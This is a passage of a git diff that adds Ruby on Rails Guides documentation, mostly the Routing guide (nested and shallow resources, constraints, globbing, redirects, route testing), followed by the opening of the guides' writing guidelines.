+| GET       | /magazines/:magazine_id/ads/new      | ads#new           | return an HTML form for creating a new ad belonging to a specific magazine |
+| POST      | /magazines/:magazine_id/ads          | ads#create        | create a new ad belonging to a specific magazine                           |
+| GET       | /magazines/:magazine_id/ads/:id      | ads#show          | display a specific ad belonging to a specific magazine                     |
+| GET       | /magazines/:magazine_id/ads/:id/edit | ads#edit          | return an HTML form for editing an ad belonging to a specific magazine     |
+| PATCH/PUT | /magazines/:magazine_id/ads/:id      | ads#update        | update a specific ad belonging to a specific magazine                      |
+| DELETE    | /magazines/:magazine_id/ads/:id      | ads#destroy       | delete a specific ad belonging to a specific magazine                      |
+
+This will also create routing helpers such as `magazine_ads_url` and `edit_magazine_ad_path`. These helpers take an instance of Magazine as the first parameter (`magazine_ads_url(@magazine)`).
+
+#### Limits to Nesting
+
+You can nest resources within other nested resources if you like. For example:
+
+```ruby
+resources :publishers do
+  resources :magazines do
+    resources :photos
+  end
+end
+```
+
+Deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize paths such as:
+
+```
+/publishers/1/magazines/2/photos/3
+```
+
+The corresponding route helper would be `publisher_magazine_photo_url`, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular [article](http://weblog.jamisbuck.org/2007/2/5/nesting-resources) by Jamis Buck proposes a rule of thumb for good Rails design:
+
+TIP: _Resources should never be nested more than 1 level deep._
+
+#### Shallow Nesting
+
+One way to avoid deep nesting (as recommended above) is to generate the collection actions scoped under the parent, so as to get a sense of the hierarchy, but to not nest the member actions. In other words, to only build routes with the minimal amount of information to uniquely identify the resource, like this:
+
+```ruby
+resources :articles do
+  resources :comments, only: [:index, :new, :create]
+end
+resources :comments, only: [:show, :edit, :update, :destroy]
+```
+
+This idea strikes a balance between descriptive routes and deep nesting. There exists shorthand syntax to achieve just that, via the `:shallow` option:
+
+```ruby
+resources :articles do
+  resources :comments, shallow: true
+end
+```
+
+This will generate the exact same routes as the first example. You can also specify the `:shallow` option in the parent resource, in which case all of the nested resources will be shallow:
+
+```ruby
+resources :articles, shallow: true do
+  resources :comments
+  resources :quotes
+  resources :drafts
+end
+```
+
+The `shallow` method of the DSL creates a scope inside of which every nesting is shallow. This generates the same routes as the previous example:
+
+```ruby
+shallow do
+  resources :articles do
+    resources :comments
+    resources :quotes
+    resources :drafts
+  end
+end
+```
+
+There exist two options for `scope` to customize shallow routes. `:shallow_path` prefixes member paths with the specified parameter:
+
+```ruby
+scope shallow_path: "sekret" do
+  resources :articles do
+    resources :comments, shallow: true
+  end
+end
+```
+
+The comments resource here will have the following routes generated for it:
+
+| HTTP Verb | Path                                         | Controller#Action | Named Helper             |
+| --------- | -------------------------------------------- | ----------------- | ------------------------ |
+| GET       | /articles/:article_id/comments(.:format)     | comments#index    | article_comments_path    |
+| POST      | /articles/:article_id/comments(.:format)     | comments#create   | article_comments_path    |
+| GET       | /articles/:article_id/comments/new(.:format) | comments#new      | new_article_comment_path |
+| GET       | /sekret/comments/:id/edit(.:format)          | comments#edit     | edit_comment_path        |
+| GET       | /sekret/comments/:id(.:format)               | comments#show     | comment_path             |
+| PATCH/PUT | /sekret/comments/:id(.:format)               | comments#update   | comment_path             |
+| DELETE    | /sekret/comments/:id(.:format)               | comments#destroy  | comment_path             |
+
+The `:shallow_prefix` option adds the specified parameter to the named helpers:
+
+```ruby
+scope shallow_prefix: "sekret" do
+  resources :articles do
+    resources :comments, shallow: true
+  end
+end
+```
+
+The comments resource here will have the following routes generated for it:
+
+| HTTP Verb | Path                                         | Controller#Action | Named Helper                |
+| --------- | -------------------------------------------- | ----------------- | --------------------------- |
+| GET       | /articles/:article_id/comments(.:format)     | comments#index    | article_comments_path       |
+| POST      | /articles/:article_id/comments(.:format)     | comments#create   | article_comments_path       |
+| GET       | /articles/:article_id/comments/new(.:format) | comments#new      | new_article_comment_path    |
+| GET       | /comments/:id/edit(.:format)                 | comments#edit     | edit_sekret_comment_path    |
+| GET       | /comments/:id(.:format)                      | comments#show     | sekret_comment_path         |
+| PATCH/PUT | /comments/:id(.:format)                      | comments#update   | sekret_comment_path         |
+| DELETE    | /comments/:id(.:format)                      | comments#destroy  | sekret_comment_path         |
+
+### Routing concerns
+
+Routing concerns allow you to declare common routes that can be reused inside other resources and routes. To define a concern:
+
+```ruby
+concern :commentable do
+  resources :comments
+end
+
+concern :image_attachable do
+  resources :images, only: :index
+end
+```
+
+These concerns can be used in resources to avoid code duplication and share behavior across routes:
+
+```ruby
+resources :messages, concerns: :commentable
+
+resources :articles, concerns: [:commentable, :image_attachable]
+```
+
+The above is equivalent to:
+
+```ruby
+resources :messages do
+  resources :comments
+end
+
+resources :articles do
+  resources :comments
+  resources :images, only: :index
+end
+```
+
+Also you can use them in any place that you want inside the routes, for example in a `scope` or `namespace` call:
+
+```ruby
+namespace :articles do
+  concerns :commentable
+end
+```
+
+### Creating Paths and URLs From Objects
+
+In addition to using the routing helpers, Rails can also create paths and URLs from an array of parameters. For example, suppose you have this set of routes:
+
+```ruby
+resources :magazines do
+  resources :ads
+end
+```
+
+When using `magazine_ad_path`, you can pass in instances of `Magazine` and `Ad` instead of the numeric IDs:
+
+```erb
+<%= link_to 'Ad details', magazine_ad_path(@magazine, @ad) %>
+```
+
+You can also use `url_for` with a set of objects, and Rails will automatically determine which route you want:
+
+```erb
+<%= link_to 'Ad details', url_for([@magazine, @ad]) %>
+```
+
+In this case, Rails will see that `@magazine` is a `Magazine` and `@ad` is an `Ad` and will therefore use the `magazine_ad_path` helper. In helpers like `link_to`, you can specify just the object in place of the full `url_for` call:
+
+```erb
+<%= link_to 'Ad details', [@magazine, @ad] %>
+```
+
+If you wanted to link to just a magazine:
+
+```erb
+<%= link_to 'Magazine details', @magazine %>
+```
+
+For other actions, you just need to insert the action name as the first element of the array:
+
+```erb
+<%= link_to 'Edit Ad', [:edit, @magazine, @ad] %>
+```
+
+This allows you to treat instances of your models as URLs, and is a key advantage to using the resourceful style.
+
+### Adding More RESTful Actions
+
+You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional routes that apply to the collection or individual members of the collection.
+
+#### Adding Member Routes
+
+To add a member route, just add a `member` block into the resource block:
+
+```ruby
+resources :photos do
+  member do
+    get 'preview'
+  end
+end
+```
+
+This will recognize `/photos/1/preview` with GET, and route to the `preview` action of `PhotosController`, with the resource id value passed in `params[:id]`. It will also create the `photo_preview_url` and `photo_preview_path` helpers.
+
+Within the block of member routes, each route name specifies the HTTP verb
+will be recognized. You can use `get`, `patch`, `put`, `post`, or `delete` here
+. If you don't have multiple `member` routes, you can also pass `:on` to a
+route, eliminating the block:
+
+```ruby
+resources :photos do
+  get 'preview', on: :member
+end
+```
+
+You can leave out the `:on` option, this will create the same member route except that the resource id value will be available in `params[:photo_id]` instead of `params[:id]`.
+
+#### Adding Collection Routes
+
+To add a route to the collection:
+
+```ruby
+resources :photos do
+  collection do
+    get 'search'
+  end
+end
+```
+
+This will enable Rails to recognize paths such as `/photos/search` with GET, and route to the `search` action of `PhotosController`. It will also create the `search_photos_url` and `search_photos_path` route helpers.
+
+Just as with member routes, you can pass `:on` to a route:
+
+```ruby
+resources :photos do
+  get 'search', on: :collection
+end
+```
+
+#### Adding Routes for Additional New Actions
+
+To add an alternate new action using the `:on` shortcut:
+
+```ruby
+resources :comments do
+  get 'preview', on: :new
+end
+```
+
+This will enable Rails to recognize paths such as `/comments/new/preview` with GET, and route to the `preview` action of `CommentsController`. It will also create the `preview_new_comment_url` and `preview_new_comment_path` route helpers.
+
+TIP: If you find yourself adding many extra actions to a resourceful route, it's time to stop and ask yourself whether you're disguising the presence of another resource.
+
+Non-Resourceful Routes
+----------------------
+
+In addition to resource routing, Rails has powerful support for routing arbitrary URLs to actions. Here, you don't get groups of routes automatically generated by resourceful routing. Instead, you set up each route separately within your application.
+
+While you should usually use resourceful routing, there are still many places where the simpler routing is more appropriate. There's no need to try to shoehorn every last piece of your application into a resourceful framework if that's not a good fit.
+
+In particular, simple routing makes it very easy to map legacy URLs to new Rails actions.
+
+### Bound Parameters
+
+When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. For example, consider this route:
+
+```ruby
+get 'photos(/:id)', to: :display
+```
+
+If an incoming request of `/photos/1` is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the `display` action of the `PhotosController`, and to make the final parameter `"1"` available as `params[:id]`. This route will also route the incoming request of `/photos` to `PhotosController#display`, since `:id` is an optional parameter, denoted by parentheses.
+
+### Dynamic Segments
+
+You can set up as many dynamic segments within a regular route as you like. Any segment will be available to the action as part of `params`. If you set up this route:
+
+```ruby
+get 'photos/:id/:user_id', to: 'photos#show'
+```
+
+An incoming path of `/photos/1/2` will be dispatched to the `show` action of the `PhotosController`. `params[:id]` will be `"1"`, and `params[:user_id]` will be `"2"`.
+
+TIP: By default, dynamic segments don't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within a dynamic segment, add a constraint that overrides this – for example, `id: /[^\/]+/` allows anything except a slash.
+
+### Static Segments
+
+You can specify static segments when creating a route by not prepending a colon to a fragment:
+
+```ruby
+get 'photos/:id/with_user/:user_id', to: 'photos#show'
+```
+
+This route would respond to paths such as `/photos/1/with_user/2`. In this case, `params` would be `{ controller: 'photos', action: 'show', id: '1', user_id: '2' }`.
+
+### The Query String
+
+The `params` will also include any parameters from the query string. For example, with this route:
+
+```ruby
+get 'photos/:id', to: 'photos#show'
+```
+
+An incoming path of `/photos/1?user_id=2` will be dispatched to the `show` action of the `Photos` controller. `params` will be `{ controller: 'photos', action: 'show', id: '1', user_id: '2' }`.
+
+### Defining Defaults
+
+You can define defaults in a route by supplying a hash for the `:defaults` option. This even applies to parameters that you do not specify as dynamic segments. For example:
+
+```ruby
+get 'photos/:id', to: 'photos#show', defaults: { format: 'jpg' }
+```
+
+Rails would match `photos/12` to the `show` action of `PhotosController`, and set `params[:format]` to `"jpg"`.
+
+You can also use `defaults` in a block format to define the defaults for multiple items:
+
+```ruby
+defaults format: :json do
+  resources :photos
+end
+```
+
+NOTE: You cannot override defaults via query parameters - this is for security reasons. The only defaults that can be overridden are dynamic segments via substitution in the URL path.
+
+### Naming Routes
+
+You can specify a name for any route using the `:as` option:
+
+```ruby
+get 'exit', to: 'sessions#destroy', as: :logout
+```
+
+This will create `logout_path` and `logout_url` as named helpers in your application. Calling `logout_path` will return `/exit`
+
+You can also use this to override routing methods defined by resources, like this:
+
+```ruby
+get ':username', to: 'users#show', as: :user
+```
+
+This will define a `user_path` method that will be available in controllers, helpers and views that will go to a route such as `/bob`. Inside the `show` action of `UsersController`, `params[:username]` will contain the username for the user. Change `:username` in the route definition if you do not want your parameter name to be `:username`.
+
+### HTTP Verb Constraints
+
+In general, you should use the `get`, `post`, `put`, `patch`  and `delete` methods to constrain a route to a particular verb. You can use the `match` method with the `:via` option to match multiple verbs at once:
+
+```ruby
+match 'photos', to: 'photos#show', via: [:get, :post]
+```
+
+You can match all verbs to a particular route using `via: :all`:
+
+```ruby
+match 'photos', to: 'photos#show', via: :all
+```
+
+NOTE: Routing both `GET` and `POST` requests to a single action has security implications. In general, you should avoid routing all verbs to an action unless you have a good reason to.
+
+NOTE: `GET` in Rails won't check for CSRF token. You should never write to the database from `GET` requests, for more information see the [security guide](security.html#csrf-countermeasures) on CSRF countermeasures.
+
+### Segment Constraints
+
+You can use the `:constraints` option to enforce a format for a dynamic segment:
+
+```ruby
+get 'photos/:id', to: 'photos#show', constraints: { id: /[A-Z]\d{5}/ }
+```
+
+This route would match paths such as `/photos/A12345`, but not `/photos/893`. You can more succinctly express the same route this way:
+
+```ruby
+get 'photos/:id', to: 'photos#show', id: /[A-Z]\d{5}/
+```
+
+`:constraints` takes regular expressions with the restriction that regexp anchors can't be used. For example, the following route will not work:
+
+```ruby
+get '/:id', to: 'articles#show', constraints: { id: /^\d/ }
+```
+
+However, note that you don't need to use anchors because all routes are anchored at the start.
+
+For example, the following routes would allow for `articles` with `to_param` values like `1-hello-world` that always begin with a number and `users` with `to_param` values like `david` that never begin with a number to share the root namespace:
+
+```ruby
+get '/:id', to: 'articles#show', constraints: { id: /\d.+/ }
+get '/:username', to: 'users#show'
+```
+
+### Request-Based Constraints
+
+You can also constrain a route based on any method on the [Request object](action_controller_overview.html#the-request-object) that returns a `String`.
+
+You specify a request-based constraint the same way that you specify a segment constraint:
+
+```ruby
+get 'photos', to: 'photos#index', constraints: { subdomain: 'admin' }
+```
+
+You can also specify constraints in a block form:
+
+```ruby
+namespace :admin do
+  constraints subdomain: 'admin' do
+    resources :photos
+  end
+end
+```
+
+NOTE: Request constraints work by calling a method on the [Request object](action_controller_overview.html#the-request-object) with the same name as the hash key and then compare the return value with the hash value. Therefore, constraint values should match the corresponding Request object method return type. For example: `constraints: { subdomain: 'api' }` will match an `api` subdomain as expected, however using a symbol `constraints: { subdomain: :api }` will not, because `request.subdomain` returns `'api'` as a String.
+
+NOTE: There is an exception for the `format` constraint: while it's a method on the Request object, it's also an implicit optional parameter on every path. Segment constraints take precedence and the `format` constraint is only applied as such when enforced through a hash. For example, `get 'foo', constraints: { format: 'json' }` will match `GET  /foo` because the format is optional by default. However, you can [use a lambda](#advanced-constraints) like in `get 'foo', constraints: lambda { |req| req.format == :json }` and the route will only match explicit JSON requests.
+
+### Advanced Constraints
+
+If you have a more advanced constraint, you can provide an object that responds to `matches?` that Rails should use. Let's say you wanted to route all users on a blacklist to the `BlacklistController`. You could do:
+
+```ruby
+class BlacklistConstraint
+  def initialize
+    @ips = Blacklist.retrieve_ips
+  end
+
+  def matches?(request)
+    @ips.include?(request.remote_ip)
+  end
+end
+
+Rails.application.routes.draw do
+  get '*path', to: 'blacklist#index',
+    constraints: BlacklistConstraint.new
+end
+```
+
+You can also specify constraints as a lambda:
+
+```ruby
+Rails.application.routes.draw do
+  get '*path', to: 'blacklist#index',
+    constraints: lambda { |request| Blacklist.retrieve_ips.include?(request.remote_ip) }
+end
+```
+
+Both the `matches?` method and the lambda gets the `request` object as an argument.
+
+### Route Globbing and Wildcard Segments
+
+Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example:
+
+```ruby
+get 'photos/*other', to: 'photos#unknown'
+```
+
+This route would match `photos/12` or `/photos/long/path/to/12`, setting `params[:other]` to `"12"` or `"long/path/to/12"`. The fragments prefixed with a star are called "wildcard segments".
+
+Wildcard segments can occur anywhere in a route. For example:
+
+```ruby
+get 'books/*section/:title', to: 'books#show'
+```
+
+would match `books/some/section/last-words-a-memoir` with `params[:section]` equals `'some/section'`, and `params[:title]` equals `'last-words-a-memoir'`.
+
+Technically, a route can have even more than one wildcard segment. The matcher assigns segments to parameters in an intuitive way. For example:
+
+```ruby
+get '*a/foo/*b', to: 'test#index'
+```
+
+would match `zoo/woo/foo/bar/baz` with `params[:a]` equals `'zoo/woo'`, and `params[:b]` equals `'bar/baz'`.
+
+NOTE: By requesting `'/foo/bar.json'`, your `params[:pages]` will be equal to `'foo/bar'` with the request format of JSON. If you want the old 3.0.x behavior back, you could supply `format: false` like this:
+
+```ruby
+get '*pages', to: 'pages#show', format: false
+```
+
+NOTE: If you want to make the format segment mandatory, so it cannot be omitted, you can supply `format: true` like this:
+
+```ruby
+get '*pages', to: 'pages#show', format: true
+```
+
+### Redirection
+
+You can redirect any path to another path using the `redirect` helper in your router:
+
+```ruby
+get '/stories', to: redirect('/articles')
+```
+
+You can also reuse dynamic segments from the match in the path to redirect to:
+
+```ruby
+get '/stories/:name', to: redirect('/articles/%{name}')
+```
+
+You can also provide a block to redirect, which receives the symbolized path parameters and the request object:
+
+```ruby
+get '/stories/:name', to: redirect { |path_params, req| "/articles/#{path_params[:name].pluralize}" }
+get '/stories', to: redirect { |path_params, req| "/articles/#{req.subdomain}" }
+```
+
+Please note that default redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible. You can use the `:status` option to change the response status:
+
+```ruby
+get '/stories/:name', to: redirect('/articles/%{name}', status: 302)
+```
+
+In all of these cases, if you don't provide the leading host (`http://www.example.com`), Rails will take those details from the current request.
+
+### Routing to Rack Applications
+
+Instead of a String like `'articles#index'`, which corresponds to the `index` action in the `ArticlesController`, you can specify any [Rack application](rails_on_rack.html) as the endpoint for a matcher:
+
+```ruby
+match '/application.js', to: MyRackApp, via: :all
+```
+
+As long as `MyRackApp` responds to `call` and returns a `[status, headers, body]`, the router won't know the difference between the Rack application and an action. This is an appropriate use of `via: :all`, as you will want to allow your Rack application to handle all verbs as it considers appropriate.
+
+NOTE: For the curious, `'articles#index'` actually expands out to `ArticlesController.action(:index)`, which returns a valid Rack application.
+
+If you specify a Rack application as the endpoint for a matcher, remember that
+the route will be unchanged in the receiving application. With the following
+route your Rack application should expect the route to be `/admin`:
+
+```ruby
+match '/admin', to: AdminApp, via: :all
+```
+
+If you would prefer to have your Rack application receive requests at the root
+path instead, use `mount`:
+
+```ruby
+mount AdminApp, at: '/admin'
+```
+
+### Using `root`
+
+You can specify what Rails should route `'/'` to with the `root` method:
+
+```ruby
+root to: 'pages#main'
+root 'pages#main' # shortcut for the above
+```
+
+You should put the `root` route at the top of the file, because it is the most popular route and should be matched first.
+
+NOTE: The `root` route only routes `GET` requests to the action.
+
+You can also use root inside namespaces and scopes as well. For example:
+
+```ruby
+namespace :admin do
+  root to: "admin#index"
+end
+
+root to: "home#index"
+```
+
+### Unicode character routes
+
+You can specify unicode character routes directly. For example:
+
+```ruby
+get 'こんにちは', to: 'welcome#index'
+```
+
+Customizing Resourceful Routes
+------------------------------
+
+While the default routes and helpers generated by `resources :articles` will usually serve you well, you may want to customize them in some way. Rails allows you to customize virtually any generic part of the resourceful helpers.
+
+### Specifying a Controller to Use
+
+The `:controller` option lets you explicitly specify a controller to use for the resource. For example:
+
+```ruby
+resources :photos, controller: 'images'
+```
+
+will recognize incoming paths beginning with `/photos` but route to the `Images` controller:
+
+| HTTP Verb | Path             | Controller#Action | Named Helper         |
+| --------- | ---------------- | ----------------- | -------------------- |
+| GET       | /photos          | images#index      | photos_path          |
+| GET       | /photos/new      | images#new        | new_photo_path       |
+| POST      | /photos          | images#create     | photos_path          |
+| GET       | /photos/:id      | images#show       | photo_path(:id)      |
+| GET       | /photos/:id/edit | images#edit       | edit_photo_path(:id) |
+| PATCH/PUT | /photos/:id      | images#update     | photo_path(:id)      |
+| DELETE    | /photos/:id      | images#destroy    | photo_path(:id)      |
+
+NOTE: Use `photos_path`, `new_photo_path`, etc. to generate paths for this resource.
+
+For namespaced controllers you can use the directory notation. For example:
+
+```ruby
+resources :user_permissions, controller: 'admin/user_permissions'
+```
+
+This will route to the `Admin::UserPermissions` controller.
+
+NOTE: Only the directory notation is supported. Specifying the
+controller with Ruby constant notation (eg. `controller: 'Admin::UserPermissions'`)
+can lead to routing problems and results in
+a warning.
+
+### Specifying Constraints
+
+You can use the `:constraints` option to specify a required format on the implicit `id`. For example:
+
+```ruby
+resources :photos, constraints: { id: /[A-Z][A-Z][0-9]+/ }
+```
+
+This declaration constrains the `:id` parameter to match the supplied regular expression. So, in this case, the router would no longer match `/photos/1` to this route. Instead, `/photos/RR27` would match.
+
+You can specify a single constraint to apply to a number of routes by using the block form:
+
+```ruby
+constraints(id: /[A-Z][A-Z][0-9]+/) do
+  resources :photos
+  resources :accounts
+end
+```
+
+NOTE: Of course, you can use the more advanced constraints available in non-resourceful routes in this context.
+
+TIP: By default the `:id` parameter doesn't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within an `:id` add a constraint which overrides this - for example `id: /[^\/]+/` allows anything except a slash.
+
+### Overriding the Named Helpers
+
+The `:as` option lets you override the normal naming for the named route helpers. For example:
+
+```ruby
+resources :photos, as: 'images'
+```
+
+will recognize incoming paths beginning with `/photos` and route the requests to `PhotosController`, but use the value of the `:as` option to name the helpers.
+
+| HTTP Verb | Path             | Controller#Action | Named Helper         |
+| --------- | ---------------- | ----------------- | -------------------- |
+| GET       | /photos          | photos#index      | images_path          |
+| GET       | /photos/new      | photos#new        | new_image_path       |
+| POST      | /photos          | photos#create     | images_path          |
+| GET       | /photos/:id      | photos#show       | image_path(:id)      |
+| GET       | /photos/:id/edit | photos#edit       | edit_image_path(:id) |
+| PATCH/PUT | /photos/:id      | photos#update     | image_path(:id)      |
+| DELETE    | /photos/:id      | photos#destroy    | image_path(:id)      |
+
+### Overriding the `new` and `edit` Segments
+
+The `:path_names` option lets you override the automatically-generated `new` and `edit` segments in paths:
+
+```ruby
+resources :photos, path_names: { new: 'make', edit: 'change' }
+```
+
+This would cause the routing to recognize paths such as:
+
+```
+/photos/make
+/photos/1/change
+```
+
+NOTE: The actual action names aren't changed by this option. The two paths shown would still route to the `new` and `edit` actions.
+
+TIP: If you find yourself wanting to change this option uniformly for all of your routes, you can use a scope.
+
+```ruby
+scope path_names: { new: 'make' } do
+  # rest of your routes
+end
+```
+
+### Prefixing the Named Route Helpers
+
+You can use the `:as` option to prefix the named route helpers that Rails generates for a route. Use this option to prevent name collisions between routes using a path scope. For example:
+
+```ruby
+scope 'admin' do
+  resources :photos, as: 'admin_photos'
+end
+
+resources :photos
+```
+
+This will provide route helpers such as `admin_photos_path`, `new_admin_photo_path`, etc.
+
+To prefix a group of route helpers, use `:as` with `scope`:
+
+```ruby
+scope 'admin', as: 'admin' do
+  resources :photos, :accounts
+end
+
+resources :photos, :accounts
+```
+
+This will generate routes such as `admin_photos_path` and `admin_accounts_path` which map to `/admin/photos` and `/admin/accounts` respectively.
+
+NOTE: The `namespace` scope will automatically add `:as` as well as `:module` and `:path` prefixes.
+
+You can prefix routes with a named parameter also:
+
+```ruby
+scope ':username' do
+  resources :articles
+end
+```
+
+This will provide you with URLs such as `/bob/articles/1` and will allow you to reference the `username` part of the path as `params[:username]` in controllers, helpers and views.
+
+### Restricting the Routes Created
+
+By default, Rails creates routes for the seven default actions (`index`, `show`, `new`, `create`, `edit`, `update`, and `destroy`) for every RESTful route in your application. You can use the `:only` and `:except` options to fine-tune this behavior. The `:only` option tells Rails to create only the specified routes:
+
+```ruby
+resources :photos, only: [:index, :show]
+```
+
+Now, a `GET` request to `/photos` would succeed, but a `POST` request to `/photos` (which would ordinarily be routed to the `create` action) will fail.
+
+The `:except` option specifies a route or list of routes that Rails should _not_ create:
+
+```ruby
+resources :photos, except: :destroy
+```
+
+In this case, Rails will create all of the normal routes except the route for `destroy` (a `DELETE` request to `/photos/:id`).
+
+TIP: If your application has many RESTful routes, using `:only` and `:except` to generate only the routes that you actually need can cut down on memory use and speed up the routing process.
+
+### Translated Paths
+
+Using `scope`, we can alter path names generated by `resources`:
+
+```ruby
+scope(path_names: { new: 'neu', edit: 'bearbeiten' }) do
+  resources :categories, path: 'kategorien'
+end
+```
+
+Rails now creates routes to the `CategoriesController`.
+
+| HTTP Verb | Path                       | Controller#Action  | Named Helper            |
+| --------- | -------------------------- | ------------------ | ----------------------- |
+| GET       | /kategorien                | categories#index   | categories_path         |
+| GET       | /kategorien/neu            | categories#new     | new_category_path       |
+| POST      | /kategorien                | categories#create  | categories_path         |
+| GET       | /kategorien/:id            | categories#show    | category_path(:id)      |
+| GET       | /kategorien/:id/bearbeiten | categories#edit    | edit_category_path(:id) |
+| PATCH/PUT | /kategorien/:id            | categories#update  | category_path(:id)      |
+| DELETE    | /kategorien/:id            | categories#destroy | category_path(:id)      |
+
+### Overriding the Singular Form
+
+If you want to define the singular form of a resource, you should add additional rules to the `Inflector`:
+
+```ruby
+ActiveSupport::Inflector.inflections do |inflect|
+  inflect.irregular 'tooth', 'teeth'
+end
+```
+
+### Using `:as` in Nested Resources
+
+The `:as` option overrides the automatically-generated name for the resource in nested route helpers. For example:
+
+```ruby
+resources :magazines do
+  resources :ads, as: 'periodical_ads'
+end
+```
+
+This will create routing helpers such as `magazine_periodical_ads_url` and `edit_magazine_periodical_ad_path`.
+
+### Overriding Named Route Parameters
+
+The `:param` option overrides the default resource identifier `:id` (name of
+the [dynamic segment](routing.html#dynamic-segments) used to generate the
+routes). You can access that segment from your controller using
+`params[<:param>]`.
+
+```ruby
+resources :videos, param: :identifier
+```
+
+```
+     videos GET  /videos(.:format)                  videos#index
+            POST /videos(.:format)                  videos#create
+ new_videos GET  /videos/new(.:format)              videos#new
+edit_videos GET  /videos/:identifier/edit(.:format) videos#edit
+```
+
+```ruby
+Video.find_by(identifier: params[:identifier])
+```
+
+You can override `ActiveRecord::Base#to_param` of a related model to construct
+a URL:
+
+```ruby
+class Video < ApplicationRecord
+  def to_param
+    identifier
+  end
+end
+
+video = Video.find_by(identifier: "Roman-Holiday")
+edit_videos_path(video) # => "/videos/Roman-Holiday"
+```
+
+Inspecting and Testing Routes
+-----------------------------
+
+Rails offers facilities for inspecting and testing your routes.
+
+### Listing Existing Routes
+
+To get a complete list of the available routes in your application, visit `http://localhost:3000/rails/info/routes` in your browser while your server is running in the **development** environment. You can also execute the `rails routes` command in your terminal to produce the same output.
+
+Both methods will list all of your routes, in the same order that they appear in `config/routes.rb`. For each route, you'll see:
+
+* The route name (if any)
+* The HTTP verb used (if the route doesn't respond to all verbs)
+* The URL pattern to match
+* The routing parameters for the route
+
+For example, here's a small section of the `rails routes` output for a RESTful route:
+
+```
+    users GET    /users(.:format)          users#index
+          POST   /users(.:format)          users#create
+ new_user GET    /users/new(.:format)      users#new
+edit_user GET    /users/:id/edit(.:format) users#edit
+```
+
+You can search through your routes with the grep option: -g. This outputs any routes that partially match the URL helper method name, the HTTP verb, or the URL path.
+
+```
+$ bin/rails routes -g new_comment
+$ bin/rails routes -g POST
+$ bin/rails routes -g admin
+```
+
+If you only want to see the routes that map to a specific controller, there's the -c option.
+
+```
+$ bin/rails routes -c users
+$ bin/rails routes -c admin/users
+$ bin/rails routes -c Comments
+$ bin/rails routes -c Articles::CommentsController
+```
+
+TIP: You'll find that the output from `rails routes` is much more readable if you widen your terminal window until the output lines don't wrap.
+
+### Testing Routes
+
+Routes should be included in your testing strategy (just like the rest of your application). Rails offers three [built-in assertions](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html) designed to make testing routes simpler:
+
+* `assert_generates`
+* `assert_recognizes`
+* `assert_routing`
+
+#### The `assert_generates` Assertion
+
+`assert_generates` asserts that a particular set of options generate a particular path and can be used with default routes or custom routes. For example:
+
+```ruby
+assert_generates '/photos/1', { controller: 'photos', action: 'show', id: '1' }
+assert_generates '/about', controller: 'pages', action: 'about'
+```
+
+#### The `assert_recognizes` Assertion
+
+`assert_recognizes` is the inverse of `assert_generates`. It asserts that a given path is recognized and routes it to a particular spot in your application. For example:
+
+```ruby
+assert_recognizes({ controller: 'photos', action: 'show', id: '1' }, '/photos/1')
+```
+
+You can supply a `:method` argument to specify the HTTP verb:
+
+```ruby
+assert_recognizes({ controller: 'photos', action: 'create' }, { path: 'photos', method: :post })
+```
+
+#### The `assert_routing` Assertion
+
+The `assert_routing` assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of `assert_generates` and `assert_recognizes`:
+
+```ruby
+assert_routing({ path: 'photos', method: :post }, { controller: 'photos', action: 'create' })
+```
diff --git a/guides/source/ruby_on_rails_guides_guidelines.md b/guides/source/ruby_on_rails_guides_guidelines.md
new file mode 100644
index 0000000000..de63e193f4
--- /dev/null
+++ b/guides/source/ruby_on_rails_guides_guidelines.md
@@ -0,0 +1,173 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Ruby on Rails Guides Guidelines
+===============================
+
+This guide documents guidelines for writing Ruby on Rails Guides. This guide follows itself in a graceful loop, serving itself as an example.
+
+After reading this guide, you will know:
+
+* About the conventions to be used in Rails documentation.
+* How to generate guides locally.
+
+--------------------------------------------------------------------------------
+
+Markdown
+-------
+
+Guides are written in [GitHub Flavored Markdown](https://help.github.com/articles/github-flavored-markdown). There is comprehensive [documentation for Markdown](http://daringfireball.net/projects/markdown/syntax), as well as a [cheatsheet](http://daringfireball.net/projects/markdown/basics).
+
+Prologue
+--------
+
+Each guide should start with motivational text at the top (that's the little introduction in the blue area). The prologue should tell the reader what the guide is about, and what they will learn. As an example, see the [Routing Guide](routing.html).
+
+Headings
+------
+
+The title of every guide uses an `h1` heading; guide sections use `h2` headings; subsections use `h3` headings; etc. Note that the generated HTML output will use heading tags starting with `<h2>`.
+
+```
+Guide Title
+===========
+
+Section
+-------
+
+### Sub Section
+```
+
+When writing headings, capitalize all words except for prepositions, conjunctions, internal articles, and forms of the verb "to be":
+
+```
+#### Middleware Stack is an Array
+#### When are Objects Saved?
+```
+
+Use the same inline formatting as regular text:
+
+```
+##### The `:content_type` Option
+```
+
+Linking to the API
+------------------
+
+Links to the API (`api.rubyonrails.org`) are processed by the guides generator in the following manner:
+
+Links that include a release tag are left untouched. For example
+
+```
+http://api.rubyonrails.org/v5.0.1/classes/ActiveRecord/Attributes/ClassMethods.html
+```
+
+is not modified.
+
+Please use these in release notes, since they should point to the corresponding version no matter the target being generated.
+
+If the link does not include a release tag and edge guides are being generated, the domain is replaced by `edgeapi.rubyonrails.org`. For example,
+
+```
+http://api.rubyonrails.org/classes/ActionDispatch/Response.html
+```
+
+becomes
+
+```
+http://edgeapi.rubyonrails.org/classes/ActionDispatch/Response.html
+```
+
+If the link does not include a release tag and release guides are being generated, the Rails version is injected. For example, if we are generating the guides for v5.1.0 the link
+
+```
+http://api.rubyonrails.org/classes/ActionDispatch/Response.html
+```
+
+becomes
+
+```
+http://api.rubyonrails.org/v5.1.0/classes/ActionDispatch/Response.html
+```
+
+Please don't link to `edgeapi.rubyonrails.org` manually.
+
+
+API Documentation Guidelines
+----------------------------
+
